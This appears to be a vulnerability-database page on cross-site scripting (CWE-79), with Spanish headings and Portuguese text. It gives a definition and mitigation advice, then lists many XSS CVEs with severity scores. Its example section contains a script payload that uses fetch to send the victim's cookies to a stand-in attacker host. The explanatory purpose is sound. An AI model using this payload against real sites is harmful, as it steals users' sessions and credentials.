Fallos del tipo CWE-79

30.215 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-31930MEDIUMWordPress Save as PDF by Pdfcrowd plugin <= 3.2.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-31387MEDIUMWordPress Popup Likebox plugin <= 3.7.2 - Cross-Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-75048HIGHIn JetBrains YouTrack before 2026.2.18068 stored XSS via the fenced code-block language label was possibleEPSS 0.3%CVE-2025-7651MEDIUMEarnware Connect <= 1.0.74 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-31925MEDIUMWordPress F4 Improvements plugin <= 1.8.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-12457MEDIUMChat Support for Viber – Chat Bubble and Chat Button for Gutenberg, Elementor and Shortcode <= 1.7.3 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-28343MEDIUMCKEditor: Cross-site scripting (XSS) in the HTML Support packageEPSS 0.3%CVE-2024-2968MEDIUMWP-Eggdrop <= 0.1 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-31937MEDIUMWordPress TWIPLA (Visitor Analytics IO) plugin <= 1.2.0 - Cross-Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-59316HIGHSpring Authorization Server Default Consent Page is vulnerable to Cross-Site Scripting (XSS)EPSS 0.3%CVE-2024-2963MEDIUMPocket News Generator <= 0.2.0 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-5235MEDIUMOpenSheetMusicDisplay <= 1.4.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via className ParameterEPSS 0.3%CVE-2026-32850MEDIUMMailEnable < 10.55 Reflected XSS via ManageShares.aspx SelectedIndex ParameterEPSS 0.3%CVE-2024-40605MEDIUMAn issue was discovered in the Foreground skin for MediaWiki through 1.42.1. There is stored XSS via MediaWiki:Sidebar top-level menu entrieEPSS 0.3%CVE-2025-65289MEDIUMA stored Cross site scripting (XSS) vulnerability in the Mercury MR816v2 (081C3114 4.8.7 Build 110427 Rel 36550n) router allows a remote attEPSS 0.3%CVE-2025-62716HIGHPlane Vulnerable to Cross-Site Scripting via Open Redirect in ?next_path ParameterEPSS 0.3%CVE-2024-12597MEDIUMHT Mega <= 2.7.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via block_css and inner_cssEPSS 0.3%CVE-2024-56292MEDIUMWordPress Email Reminders Plugin <= 2.0.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-48821MEDIUMCross Site Scripting vulnerability in Automatic Systems Maintenance SlimLane 29565_d74ecce0c1081d50546db573a499941b10799fb7 allows a remote EPSS 0.3%CVE-2021-24388—Vik Rent Car < 1.1.7 - CSRF to Stored XSSEPSS 0.3%